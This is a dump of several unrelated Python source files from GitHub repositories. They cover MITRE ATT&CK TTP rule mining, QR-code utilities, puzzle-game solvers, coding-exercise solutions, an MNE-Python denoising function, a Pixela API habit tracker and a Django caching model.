Generation\n\nfrom pyattck import Attck\nimport pandas as pd \nfrom stix2 import MemoryStore, Filter\nimport requests\nimport re\nimport numpy as np\nfrom efficient_apriori import apriori\n\ndef NameToCode(gName):\n # create an instance of the Attck class\n attck = Attck()\n\n # get all APT groups in the framework\n apt_groups = attck.enterprise.actors\n\n # create a dictionary mapping APT group names to G codes\n group_to_gcode = {}\n for group in apt_groups:\n if group.name == gName:\n gcode = group.id\n return gcode\n return \"\"\n\n# generate lists of ttps for the apriori rule mining\ndef GenerateAprioriLists():\n # some data comes from this dataset with TTPs\n df = pd.read_csv(\"datasets/TTP_Data.csv\") # sample dataset of attacks\n\n # to use the apriori we need to generate a list of lists\n aprList = []\n for row in df.values:\n if (type(row[1]) == type('')): \n aprList.append((row[1].strip('][').split(', ')))\n return aprList\n\n# convert sub-techniques to abstract techniques \ndef AbstractTTPs(ttpList):\n # take sub-techniques and remove the .### to abstract them to parent techniques \n for i in range(0,len(ttpList)):\n ttpList[i] = [re.sub(r'\\.[0-9]+', '', ttp) for ttp in ttpList[i]]\n return ttpList \n\n# takes a list of lists and returns a list of rules sorted by size \ndef AprioriMining(aprList, supportLevel, confidenceLevel):\n # perform apriori rule association mining\n itemsets, rules = apriori(aprList, min_support=supportLevel, min_confidence=confidenceLevel)\n \n # sort by size to get the 1:1 mappings first and so on. \n ruleNums = np.array([len(rule.lhs+rule.rhs) for rule in rules])\n rules = np.array(rules)\n inds = ruleNums.argsort()[::]\n rules = rules[inds]\n \n # maximum rule size of 4 to limit number of rules, any rules with size > 4 are redundant anyways\n rules = [x for x in filter(lambda rule: len(rule.lhs+rule.rhs) <= 4, rules)]\n return rules\n\n# downloads latest MITRE framework from the branch\ndef get_data_from_branch(domain):\n \"\"\"get the ATT&CK STIX data from MITRE/CTI. Domain should be 'enterprise-attack', 'mobile-attack' or 'ics-attack'. Branch should typically be master.\"\"\"\n stix_json = requests.get(f\"https://raw.githubusercontent.com/mitre-attack/attack-stix-data/master/{domain}/{domain}.json\").json()\n return MemoryStore(stix_data=stix_json[\"objects\"])\n\ndef ExportBundle(bundle, filename):\n with open(filename, \"w\") as f:\n f.write(bundle.serialize())\n f.close()\n\n# taken from mitre stix - https://github.com/mitre-attack/attack-stix-data/blob/master/USAGE.md#access-the-most-recent-version-from-github-via-requests\ndef get_related(thesrc, src_type, rel_type, target_type, reverse=False):\n \"\"\"build relationship mappings\n params:\n thesrc: MemoryStore to build relationship lookups for\n src_type: source type for the relationships, e.g \"attack-pattern\"\n rel_type: relationship type for the relationships, e.g \"uses\"\n target_type: target type for the relationship, e.g \"intrusion-set\"\n reverse: build reverse mapping of target to source\n \"\"\"\n\n relationships = thesrc.query([\n Filter('type', '=', 'relationship'),\n Filter('relationship_type', '=', rel_type),\n Filter('revoked', '=', False),\n ])\n\n # See section below on \"Removing revoked and deprecated objects\"\n relationships = remove_revoked_deprecated(relationships)\n\n # stix_id => [ { relationship, related_object_id } for each related object ]\n id_to_related = {}\n\n # build the dict\n for relationship in relationships:\n if src_type in relationship.source_ref and target_type in relationship.target_ref:\n if (relationship.source_ref in id_to_related and not reverse) or (relationship.target_ref in id_to_related and reverse):\n # append to existing entry\n if not reverse:\n id_to_related[relationship.source_ref].append({\n \"relationship\": relationship,\n \"id\": relationship.target_ref\n })\n else:\n id_to_related[relationship.target_ref].append({\n \"relationship\": relationship,\n \"id\": relationship.source_ref\n })\n else:\n # create a new entry\n if not reverse:\n id_to_related[relationship.source_ref] = [{\n \"relationship\": relationship,\n \"id\": relationship.target_ref\n }]\n else:\n id_to_related[relationship.target_ref] = [{\n \"relationship\": relationship,\n \"id\": relationship.source_ref\n }]\n # all objects of relevant type\n if not reverse:\n targets = thesrc.query([\n Filter('type', '=', target_type),\n Filter('revoked', '=', False)\n ])\n else:\n targets = thesrc.query([\n Filter('type', '=', src_type),\n Filter('revoked', '=', False)\n ])\n\n # build lookup of stixID to stix object\n id_to_target = {}\n for target in targets:\n id_to_target[target.id] = target\n\n # build final output mappings\n output = {}\n for stix_id in id_to_related:\n value = []\n for related in id_to_related[stix_id]:\n if not related[\"id\"] in id_to_target:\n continue # targeting a revoked object\n value.append({\n \"object\": id_to_target[related[\"id\"]],\n \"relationship\": related[\"relationship\"]\n })\n output[stix_id] = value\n return output\n\ndef remove_revoked_deprecated(stix_objects):\n \"\"\"Remove any revoked or deprecated objects from queries made to the data source\"\"\"\n # Note we use .get() because the property may not be present in the JSON data. The default is False\n # if the property is not set.\n return list(\n filter(\n lambda x: x.get(\"x_mitre_deprecated\", False) is False and x.get(\"revoked\", False) is False,\n stix_objects\n )\n )\n\n","repo_name":"metalmulisha205/Intelligence-Informed-COA-Development","sub_path":"src/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6297,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"1074534299","text":"# 완전탐색\n# 카펫\n# 시간복잡도: O(N)\ndef division(n):\n li = []\n for i in range(1, n//2+1):\n if n % i == 0: li.append(i)\n li.append(n) \n return li\n\ndef solution(brown, yellow):\n n = brown + yellow\n k = division(n)\n for i in k:\n j = n // i\n if (j-2)*(i-2) == yellow: return [j, i]\n\n\"\"\"\nsqrt를 사용하여 제곱근을 만들어 trunc하여 비교하며 숫자를 조작하려고 했으나 실패\n약수 리스트를 구하여 반복문을 돌림\n너비와 높이, yellow와 관계가 있었다. => (너비-2)*(높이-2) = yellow\n\"\"\"","repo_name":"JiSuMun/Algorithm-Study","sub_path":"W05/JiSuMun/42842.py","file_name":"42842.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"10845633808","text":"# pip install opencv-python qrcode\nimport qrcode\nimport cv2\nimport os\nimport time\n\nTYPES_FILE = ['.jpg', '.png', '.jpeg']\n\n\ndef creating_qrcode(link='https://github.com/Nick648'):\n filename = \"href.png\"\n version = 0\n while os.path.exists(filename):\n version += 1\n filename = f\"href version=={version}.png\"\n try:\n img = qrcode.make(link)\n img.save(filename)\n print(f'QR-code {link} was created and saved in: {os.path.join(os.getcwd(), filename)}')\n time.sleep(1)\n os.startfile(filename)\n except Exception as ex:\n print(f'Name: {type(ex).__name__}; type: {type(ex)} -> {ex}')\n\n\ndef qrcode_reading(filename='href.png'): # Add .png .jpg format search input client and dir with pics\n if filename[filename.rfind('.'):].lower() not in TYPES_FILE:\n flag = 0\n tries = []\n for postfix in TYPES_FILE:\n if filename.rfind('.') == -1:\n filename += postfix\n else:\n filename = filename[:filename.rfind('.')] + postfix\n tries.append(filename)\n if os.path.exists(filename):\n flag = 1\n break\n if not flag:\n print(f'Files {tries} not exist!')\n return\n\n try:\n img = cv2.imread(filename)\n detector = cv2.QRCodeDetector()\n data, bbox, straight_qrcode = detector.detectAndDecode(img)\n if not data:\n data = None\n print(f\"Message from QR-code: {data}\") # \\n bbox: {bbox}\\n straight_qrcode: {straight_qrcode}\n except Exception as ex:\n # print(f'Name: {type(ex).__name__}; type: {type(ex)} -> {ex}')\n print(f\"Error: Can't recognize QR code! {filename}\")\n\n\ndef check_dir_path():\n dir_path = input(\"\\nThe path to the directory with files: \").strip()\n if os.path.exists(dir_path):\n print(f\"Path: '{dir_path}' status: OK\")\n return dir_path\n else:\n print(f\"Path: '{dir_path}' status: Not found\")\n return False\n\n\ndef dir_qrcodes_reading(dir_path):\n # os.walk() # Идет вглубь каталогов\n start_dir = os.getcwd()\n print(f'\\nList of files: {os.listdir(dir_path)}')\n print(f'Total files: {len(os.listdir(dir_path))}\\n')\n\n file_count, total_files, skipped_files = 0, len(os.listdir(dir_path)), 0\n os.chdir(dir_path) # Else error in qrcode_reading from cv2\n for file in os.listdir(dir_path):\n file_count += 1\n if file[file.rfind('.'):].lower() in TYPES_FILE:\n print(f'\\tFile {file_count}/{total_files}: \"{file}\" ', end='')\n qrcode_reading(file) # os.path.join(dir_path, file)\n else:\n print(f'\\tFile {file_count}/{total_files}: \"{file}\" has a different format!\\tstatus: Skip')\n skipped_files += 1\n\n os.chdir(start_dir) # Return start working dir\n print(f'\\nSkipping files: {skipped_files}')\n print('\\tDone!')\n\n\ndef main():\n text_1 = '\\nEnter the link to the code or just press Enter: '\n text_2 = '\\nThe photo of the code should be in the folder next to the program!\\n' \\\n 'Enter the file name or just press Enter: '\n\n options = '''\n CHOICE: \n 1) creating_qrcode;\n 2) qrcode_reading;\n 3) dir_qrcodes_reading;\n 4) Exit;\n Your answer >>> '''\n\n while True:\n choice = input(options)\n if choice == '1':\n link = input(text_1)\n if link:\n creating_qrcode(link)\n else:\n creating_qrcode()\n elif choice == '2':\n filename = input(text_2)\n if filename:\n qrcode_reading(filename)\n else:\n qrcode_reading()\n elif choice == '3':\n dir_path = check_dir_path()\n if dir_path:\n dir_qrcodes_reading(dir_path)\n elif choice == '4':\n break\n else:\n print(f'Option \"{choice}\" -> Not Found!')\n\n print('\\nThx for using! Bye!')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Nick648/AutoComp_Python","sub_path":"Working with directories/QR-codes.py","file_name":"QR-codes.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10387209392","text":"import numpy as np\nimport ipdb\n\n# Read data\nwith open('input/input18', 'r') as f:\n data = [line.split() for line in f]\n\ntestdata = [['set', 'a', '1'],\n ['add', 'a', '2'],\n ['mul', 'a', 'a'],\n ['mod', 'a', '5'],\n ['snd', 'a'],\n ['set', 'a', '0'],\n ['rcv', 'a'],\n ['jgz', 'a', '-1'],\n ['set', 'a', '1'],\n ['jgz', 'a', '-2']]\n\n\ndef operator(instructions, reg, snd, rcv, i): \n line = instructions[i]\n if line[0] == 'snd':\n snd.append(reg[line[1]])\n elif line[0] == 'set':\n try:\n reg[line[1]] = int(line[2])\n except:\n reg[line[1]] = reg[line[2]]\n elif line[0] == 'add':\n try: \n reg[line[1]] += int(line[2])\n except:\n reg[line[1]] += reg[line[2]]\n elif line[0] == 'mul':\n try: \n reg[line[1]] *= int(line[2])\n except:\n reg[line[1]] *= reg[line[2]]\n elif line[0] == 'mod':\n try:\n reg[line[1]] = reg[line[1]] % int(line[2])\n except:\n reg[line[1]] = reg[line[1]] % reg[line[2]]\n elif line[0] == 'rcv':\n if not rcv:\n waiting = True\n return (i, waiting)\n reg[line[1]] = rcv.pop(0) \n elif line[0] == 'jgz':\n try:\n tmp = reg[line[1]]\n except:\n tmp = int(line[1])\n \n if tmp > 0:\n try:\n i += int(line[2]) - 1 # minus general update\n except:\n i += reg[line[2]] -1\n # return updated index\n return (i+1, False)\n\n# initialize registers\nreg0 = {chr(key+97):0 for key in range(26)}\nreg1 = {chr(key+97):0 for key in range(26)}\nprint(type(reg0))\nreg1['p'] = 1\n\ni, j = 0, 0 # instruction index\nque0, que1 = [], [] # send/recieve queue\nsends = 0\n# ipdb.set_trace()\nwhile True:\n wait0, wait1 = False, False # is waiting?\n\n # run program 0\n i, wait0 = operator(data, reg0, que0, que1, i)\n \n bup = len(que1)\n # run program 1\n j, wait1 = operator(data, reg1, que1, que0, j)\n bep = len(que1)\n if bup!=bep:\n sends += 1\n print(sends)\n\n # check index\n if not (0 <= i < len(data)) and not (0 <= j < len(data)):\n print(\"Index out of range\")\n break\n if wait0 and wait1:\n print(\"Deadlock reached\")\n break\n\n \n\n","repo_name":"Ricoter/AdventOfCode","sub_path":"2017/Python3/day18b.py","file_name":"day18b.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"23416485413","text":"# -*-coding:utf-8-*-\n\nclass ListNode():\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\n\ndef removeNthFromEnd(head, n):\n if head.next == None: return None\n curr = head\n a = 0\n while curr:\n a += 1\n curr = curr.next\n if a == n:\n target = head\n if a > n:\n target = target.next\n if curr.next == None:\n if target:\n b = target.next\n target.next = b.next\n b.next = None\n return head\n else:\n return head.next\n\n\nnode1 = ListNode(1)\nnode2 = ListNode(2)\nnode3 = ListNode(3)\nnode4 = ListNode(4)\nnode5 = ListNode(5)\nnode1.next = node2\nnode2.next = node3\nnode3.next = node4\nnode4.next = node5\n\nremoveNthFromEnd(node1, 5)\n\n\n","repo_name":"Olive-fcj/lintcode","sub_path":"lintcode/list/removeNthFromEnd.py","file_name":"removeNthFromEnd.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73195610601","text":"from game_master import GameMaster\nfrom read import *\nfrom util import *\n\nclass TowerOfHanoiGame(GameMaster):\n\n def __init__(self):\n super().__init__()\n \n def produceMovableQuery(self):\n \"\"\"\n See overridden parent class method for more information.\n\n Returns:\n A Fact object that could be used to query the currently available moves\n \"\"\"\n return parse_input('fact: (movable ?disk ?init ?target)')\n\n def getGameState(self):\n \"\"\"\n Returns a representation of the game in the current state.\n The output should be a Tuple of three Tuples. Each inner tuple should\n represent a peg, and its content the disks on the peg. Disks\n should be represented by integers, with the smallest disk\n represented by 1, and the second smallest 2, etc.\n\n Within each inner Tuple, the integers should be sorted in ascending order,\n indicating the smallest disk stacked on top of the larger ones.\n\n For example, the output should adopt the following format:\n ((1,2,5),(),(3, 4))\n\n Returns:\n A Tuple of Tuples that represent the game state\n \"\"\"\n ### student code goes here\n\n t = []\n for i in range(1, 4):\n info = self.kb.kb_ask(parse_input('fact: (on ?DISK peg' + str(i) + ')'))\n states = []\n if info:\n for piece in info:\n disk = piece['?DISK']\n num = int(disk[-1])\n states.append(num)\n states.sort()\n tuptemp = tuple(states)\n t.append(tuptemp)\n return tuple(t)\n pass\n\n def makeMove(self, movable_statement):\n \"\"\"\n Takes a MOVABLE statement and makes the corresponding move. This will\n result in a change of the game state, and therefore requires updating\n the KB in the Game Master.\n\n The statement should come directly from the result of the MOVABLE query\n issued to the KB, in the following format:\n (movable disk1 peg1 peg3)\n\n Args:\n movable_statement: A Statement object that contains one of the currently viable moves\n\n Returns:\n None\n \"\"\"\n ### Student code goes here\n\n ##Change the on statements first\n ### ADD our known knowledge\n disk = movable_statement.terms[0]\n speg = movable_statement.terms[1]\n fpeg = movable_statement.terms[2]\n\n states = self.getGameState()\n\n fpegn = int(str(fpeg)[-1])\n if len(states[fpegn - 1]) <= 0:\n self.kb.kb_retract(parse_input('fact: (empty ' + str(fpeg) + ')'))\n else:\n ot = 'disk' + str(states[fpegn - 1][0])\n self.kb.kb_retract(parse_input('fact: (top ' + ot + ' ' + str(fpeg) + ')'))\n\n self.kb.kb_assert(parse_input('fact: (top ' + str(disk) + ' ' + str(fpeg) + ')'))\n self.kb.kb_assert(parse_input('fact: (on ' + str(disk) + ' ' + str(fpeg) + ')'))\n self.kb.kb_retract(parse_input('fact: (on ' + str(disk) + ' ' + str(speg) + ')'))\n self.kb.kb_retract(parse_input('fact: (top ' + str(disk) + ' ' + str(speg) + ')'))\n\n\n spegn = int(str(speg)[-1])\n if len(states[spegn - 1]) <= 1:\n self.kb.kb_assert(parse_input('fact: (empty ' + str(speg) + ')'))\n else:\n nt = 'disk' + str(states[spegn - 1][1])\n self.kb.kb_assert(parse_input('fact: (top ' + nt + ' ' + str(speg) + ')'))\n pass\n\n def reverseMove(self, movable_statement):\n \"\"\"\n See overridden parent class method for more information.\n\n Args:\n movable_statement: A Statement object that contains one of the previously viable moves\n\n Returns:\n None\n \"\"\"\n pred = movable_statement.predicate\n sl = movable_statement.terms\n newList = [pred, sl[0], sl[2], sl[1]]\n self.makeMove(Statement(newList))\n\nclass Puzzle8Game(GameMaster):\n\n def __init__(self):\n super().__init__()\n\n def produceMovableQuery(self):\n \"\"\"\n Create the Fact object that could be used to query\n the KB of the presently available moves. This function\n is called once per game.\n\n Returns:\n A Fact object that could be used to query the currently available moves\n \"\"\"\n return parse_input('fact: (movable ?piece ?initX ?initY ?targetX ?targetY)')\n\n def getGameState(self):\n \"\"\"\n Returns a representation of the the game board in the current state.\n The output should be a Tuple of Three Tuples. Each inner tuple should\n represent a row of tiles on the board. Each tile should be represented\n with an integer; the empty space should be represented with -1.\n\n For example, the output should adopt the following format:\n ((1, 2, 3), (4, 5, 6), (7, 8, -1))\n\n Returns:\n A Tuple of Tuples that represent the game state\n \"\"\"\n ### Student code goes here\n gen_state = []\n for i in range(1, 4):\n t = []\n for j in range(1, 4):\n s = 'fact: (loc ?TILE pos' + str(j) + ' pos' + str(i) + ')'\n binds = self.kb.kb_ask(parse_input(s))\n if binds:\n for b in binds:\n tile = b['?TILE']\n num = tile[-1]\n if num == 'y':\n num = -1\n t.append(int(num))\n tup = tuple(t)\n gen_state.append(tup)\n\n return tuple(gen_state)\n pass\n\n def makeMove(self, movable_statement):\n \"\"\"\n Takes a MOVABLE statement and makes the corresponding move. This will\n result in a change of the game state, and therefore requires updating\n the KB in the Game Master.\n\n The statement should come directly from the result of the MOVABLE query\n issued to the KB, in the following format:\n (movable tile3 pos1 pos3 pos2 pos3)\n\n Args:\n movable_statement: A Statement object that contains one of the currently viable moves\n\n Returns:\n None\n \"\"\"\n ### Student code goes here\n tile = movable_statement.terms[0]\n initx = movable_statement.terms[1]\n inity = movable_statement.terms[2]\n finx = movable_statement.terms[3]\n finy = movable_statement.terms[4]\n\n #if(initx == finx and inity == finy):\n #return\n\n\n #if str(initx)[-1] != '2' and str(inity)[-1] != '2' and str(finx)[-1] != '2' and str(finy)[-1] != '2':\n #print(\"weird error\")\n #return\n\n\n\n\n ret_stat = 'fact: (loc ' + str(tile) + ' ' + str(initx) + ' ' + str(inity) + ')'\n self.kb.kb_retract(parse_input(ret_stat))\n\n add_stat = 'fact: (loc ' + str(tile) + ' ' + str(finx) + ' ' + str(finy) + ')'\n self.kb.kb_assert(parse_input(add_stat))\n\n ##must also change empty\n empty_stat = 'fact: (loc empty ' + str(initx) + ' ' + str(inity) + ')'\n self.kb.kb_assert(parse_input(empty_stat))\n\n empty_ret = 'fact: (loc empty ' + str(finx) + ' ' + str(finy) + ')'\n self.kb.kb_retract(parse_input(empty_ret))\n pass\n\n def reverseMove(self, movable_statement):\n \"\"\"\n See overridden parent class method for more information.\n\n Args:\n movable_statement: A Statement object that contains one of the previously viable moves\n\n Returns:\n None\n \"\"\"\n pred = movable_statement.predicate\n sl = movable_statement.terms\n newList = [pred, sl[0], sl[3], sl[4], sl[1], sl[2]]\n self.makeMove(Statement(newList))\n","repo_name":"Northwestern-CS348/assignment-3-part-2-uninformed-solvers-kobemandell","sub_path":"student_code_game_masters.py","file_name":"student_code_game_masters.py","file_ext":"py","file_size_in_byte":7767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71426294440","text":"shopping_list = ['milk', 'pasta', 'eggs', 'spam', 'bread', \"rice\"]\n\n# for item in shopping_list:\n# if item != 'spam':\n# print(\"Buy \" + item)\n\n# o continue, quando acha o spam, volta para o for , ou seja, continua ate o final do loop pulando o spam\n# for item in shopping_list:\n# if item == 'spam':\n# continue\n# print(\"Buy \" + item)\n#\nfor item in shopping_list:\n if item == 'spam':\n break\n print(\"Buy \" + item)\n\nprint('*' * 30)\nitem_to_find = 'milk'\nfount_at = None # o none é uma constante que não tem valor\n\n# len nos dá o tamamnho da lista\n# for index in range(len(shopping_list)):\n# if shopping_list[index] == item_to_find:\n# fount_at = index\n# break\nif item_to_find in shopping_list:\n fount_at = shopping_list.index(item_to_find)\n\nif fount_at is not None:\n print('Item found at index {}'.format(fount_at))\nelse:\n print('{} not found'.format(item_to_find))\n","repo_name":"annezdz/Python-Masterclass---Udemy","sub_path":"section4FlowControl/shoppinglist.py","file_name":"shoppinglist.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27337356691","text":"# -*- coding: utf-8 -*-\n# Authors: Samu Taulu \n# Eric Larson \n\n# License: BSD (3-clause)\n\nimport numpy as np\nfrom scipy import linalg\n\nfrom ..io.pick import _picks_to_idx\nfrom ..surface import _normalize_vectors\nfrom ..utils import logger, verbose\nfrom .utils import _get_lims_cola\n\n\ndef _svd_cov(cov, data):\n \"\"\"Use a covariance matrix to compute the SVD faster.\"\"\"\n # This makes use of mathematical equivalences between PCA and SVD\n # on zero-mean data\n s, u = linalg.eigh(cov)\n norm = np.ones((s.size,))\n mask = s > np.finfo(float).eps * s[-1] # largest is last\n s = np.sqrt(s, out=s)\n norm[mask] = 1. / s[mask]\n u *= norm\n v = np.dot(u.T[mask], data)\n return u, s, v\n\n\n@verbose\ndef oversampled_temporal_projection(raw, duration=10., picks=None,\n verbose=None):\n \"\"\"Denoise MEG channels using leave-one-out temporal projection.\n\n Parameters\n ----------\n raw : instance of Raw\n Raw data to denoise.\n duration : float | str\n The window duration (in seconds; default 10.) to use. Can also\n be \"min\" to use as short a window as possible.\n %(picks_all_data)s\n %(verbose)s\n\n Returns\n -------\n raw_clean : instance of Raw\n The cleaned data.\n\n Notes\n -----\n This algorithm is computationally expensive, and can be several times\n slower than realtime for conventional M/EEG datasets. It uses a\n leave-one-out procedure with parallel temporal projection to remove\n individual sensor noise under the assumption that sampled fields\n (e.g., MEG and EEG) are oversampled by the sensor array [1]_.\n\n OTP can improve sensor noise levels (especially under visual\n inspection) and repair some bad channels. This noise reduction is known\n to interact with :func:`tSSS ` such\n that increasing the ``st_correlation`` value will likely be necessary.\n\n Channels marked as bad will not be used to reconstruct good channels,\n but good channels will be used to process the bad channels. Depending\n on the type of noise present in the bad channels, this might make\n them usable again.\n\n Use of this algorithm is covered by a provisional patent.\n\n .. versionadded:: 0.16\n\n References\n ----------\n .. [1] Larson E, Taulu S (2017). Reducing Sensor Noise in MEG and EEG\n Recordings Using Oversampled Temporal Projection.\n IEEE Transactions on Biomedical Engineering.\n \"\"\"\n logger.info('Processing MEG data using oversampled temporal projection')\n picks = _picks_to_idx(raw.info, picks, exclude=())\n picks_good, picks_bad = list(), list()\n for pi in picks:\n if raw.ch_names[pi] in raw.info['bads']:\n picks_bad.append(pi)\n else:\n picks_good.append(pi)\n del picks\n picks_good = np.array(picks_good, int)\n picks_bad = np.array(picks_bad, int)\n\n n_samp = int(round(float(duration) * raw.info['sfreq']))\n starts, stops, windows = _get_lims_cola(\n n_samp, len(raw.times), raw.info['sfreq'])\n min_samp = (stops - starts).min()\n if min_samp < len(picks_good) - 1:\n raise ValueError('duration (%s) yielded %s samples, which is fewer '\n 'than the number of channels -1 (%s)'\n % (n_samp / raw.info['sfreq'], min_samp,\n len(picks_good) - 1))\n raw_orig = raw.copy()\n raw = raw.copy().load_data(verbose=False)\n raw._data[picks_good] = 0.\n raw._data[picks_bad] = 0.\n for start, stop, window in zip(starts, stops, windows):\n logger.info(' Denoising % 8.2f - % 8.2f sec'\n % tuple(raw.times[[start, stop - 1]]))\n data_picked = raw_orig[picks_good, start:stop][0]\n if not np.isfinite(data_picked).all():\n raise RuntimeError('non-finite data (inf or nan) found in raw '\n 'instance')\n # demean our slice and our copy\n data_picked_means = np.mean(data_picked, axis=-1, keepdims=True)\n data_picked -= data_picked_means\n # scale the copy that will be used to form the temporal basis vectors\n # so that _orth_svdvals thresholding should work properly with\n # different channel types (e.g., M-EEG)\n norms = _normalize_vectors(data_picked)\n cov = np.dot(data_picked, data_picked.T)\n if len(picks_bad) > 0:\n full_basis = _svd_cov(cov, data_picked)[2]\n for mi, pick in enumerate(picks_good):\n # operate on original data\n idx = list(range(mi)) + list(range(mi + 1, len(data_picked)))\n # Equivalent: linalg.svd(data[idx], full_matrices=False)[2]\n t_basis = _svd_cov(cov[np.ix_(idx, idx)], data_picked[idx])[2]\n x = np.dot(np.dot(data_picked[mi], t_basis.T), t_basis)\n x *= norms[mi]\n x += data_picked_means[mi]\n x *= window\n raw._data[pick, start:stop] += x\n for pick in picks_bad:\n this_data = raw_orig[pick, start:stop][0][0].copy()\n this_mean = this_data.mean()\n this_data -= this_mean\n x = np.dot(np.dot(this_data, full_basis.T), full_basis)\n x += this_mean\n raw._data[pick, start:stop] += window * x\n return raw\n","repo_name":"soheilbr82/BluegrassWorkingMemory","sub_path":"Python_Engine/Lib/site-packages/mne/preprocessing/otp.py","file_name":"otp.py","file_ext":"py","file_size_in_byte":5363,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"44815018460","text":"import requests\nfrom datetime import datetime\n\nUSERNAME = \"ikra\"\nTOKEN = \"\"\nGRAPH_ID = \"\"\n\npixela_endpoint = \"https://pixe.la/v1/users\"\n\n\nuser_params = {\n \"token\": TOKEN,\n \"username\": USERNAME,\n \"agreeTermsOfService\": \"yes\",\n \"notMinor\": \"yes\",\n}\n\n# POST METHOD\n# response = requests.post(url=pixela_endpoint, json=user_params)\n# print(response.text)\n\ngraph_endpoint = f\"{pixela_endpoint}/{USERNAME}/graphs\"\n\ngraph_config = {\n \"id\": GRAPH_ID,\n \"name\": \"Reading Graph\",\n \"unit\": \"Page\",\n \"type\": \"int\",\n \"color\": \"shibafu\",\n}\n\nheaders = {\n \"X-USER-TOKEN\": TOKEN,\n}\n\n# POST METHOD with HEADERS\n# response = requests.post(url=graph_endpoint, json=graph_config, headers=headers)\n# print(response.text)\n\npixel_creation_endpoint = f\"{pixela_endpoint}/{USERNAME}/graphs/{GRAPH_ID}\"\n\ntoday = datetime.now()\nformatted_today = today.strftime(\"%Y%m%d\")\n\npixel_data = {\n \"date\": formatted_today,\n \"quantity\": \"10\",\n}\n\npixel_update_data = {\n \"quantity\": \"25\"\n}\n\n# POST METHOD\n# response = requests.post(url=endpoint, json=pixel_data, headers=headers)\n# print(response.text)\n\npixel_update_endpoint = f\"{pixela_endpoint}/{USERNAME}/graphs/{GRAPH_ID}/{formatted_today}\"\n\n# PUT METHOD\n# response = requests.put(url=pixel_update_endpoint, json=pixel_update_data, headers=headers)\n# print(response.text)\n\npixel_delete_endpoint = f\"{pixela_endpoint}/{USERNAME}/graphs/{GRAPH_ID}/{formatted_today}\"\n\n# DELETE METHOD\n# response = requests.delete(url=pixel_delete_endpoint, headers=headers)\n# print(response.text)\n","repo_name":"ikranergiz/100-Days-Of-Code-Python","sub_path":"Day 37 - Habit Tracker/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"23960567330","text":"# 2605 - 줄 세우기\nimport sys\nsys.stdin = open('input.txt')\n\nN = int(input())\nnumbers = [0] + list(map(int, input().split()))\nstudents = [0]\n\nfor i in range(1, N + 1):\n students.insert(i-numbers[i], i)\n\nstudents.pop(0)\nprint(*students)\n","repo_name":"RosaDamascena/Algorithm_python","sub_path":"Baekjoon/IM_Test/2605_Line_up/2605_Line_up.py","file_name":"2605_Line_up.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25910615579","text":"from django.db import models\nfrom django.core.cache import cache\nfrom django.core.exceptions import ObjectDoesNotExist\n\n\nclass Person(models.Model):\n\n first_name = models.TextField(max_length=50)\n last_name = models.TextField(max_length=50)\n email = models.EmailField(unique=True)\n\n cache_key = u'person_{}'\n\n def __unicode__(self):\n return u\"{fname} {lname}\".format(fname=self.first_name, lname=self.last_name)\n\n # def save(self, *args, **kwargs):\n # \"\"\"Overridden save function\"\"\"\n #\n # super(Person, self).save(*args, **kwargs)\n # cache.clear()\n # print(\"Object is saved\")\n #\n # def delete(self, *args, **kwargs):\n # \"\"\"Overridden delete function\"\"\"\n #\n # cache.delete(self.cache_key.format(self.email))\n # super(Person, self).delete(*args, **kwargs)\n\n @classmethod\n def get_person(cls, email):\n cache_key = cls.cache_key.format(email)\n val = cache.get(cache_key)\n\n if val is None:\n try:\n obj = Person.objects.get(email=email)\n cache.set(cache_key, obj)\n return obj\n\n except ObjectDoesNotExist:\n return None\n\n return val\n","repo_name":"mehrozezahid/arbisoft","sub_path":"unit_testing/myapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11351203265","text":"from __future__ import print_function\nfrom load_data import load_gzip_field\nimport progressbar\nimport os,sys\nimport gzip as gz\nimport json\nimport codecs\n\ndef find_match(iterator,lookup):\n for line in iterator:\n d = json.loads(line)\n if d['_id'] in lookup:\n yield line\n\n\n\nif __name__=='__main__':\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('-infile','-i',required=True)\n parser.add_argument('-lattice_root','-l',required=True)\n parser.add_argument('--outfile', '-o',default='lattice_matches')\n args = parser.parse_args()\n outfile = args.outfile\n if not '.gz' in outfile:\n outfile +='.gz'\n lattice_root = args.lattice_root\n filename = args.infile\n #load CDR ids of labeled data\n ids = frozenset([i for i in load_gzip_field(file_names=[args.infile],field='doc_id')])\n #iterate through lattice extraction files, find matching ids\n bar = progressbar.ProgressBar(max_value=progressbar.UnknownLength)\n if not os.path.exists('out'):\n os.makedirs('out')\n match_count = 0\n search_count = 0\n with gz.GzipFile(os.path.join('out',outfile),'w') as outf:\n for root, dirs, files in os.walk(lattice_root, topdown=False):\n for name in files:\n if 'data' in name:\n if 'gz' in name:\n with gz.GzipFile(os.path.join(root, name),'r') as inf:\n try:\n matches = tuple(d for d in find_match(inf,ids)) \n except IOError:\n print('failed to open file: {}'.format(inf))\n continue\n for m in matches:\n outf.write(m)\n match_count +=len(matches)\n search_count += 1\n 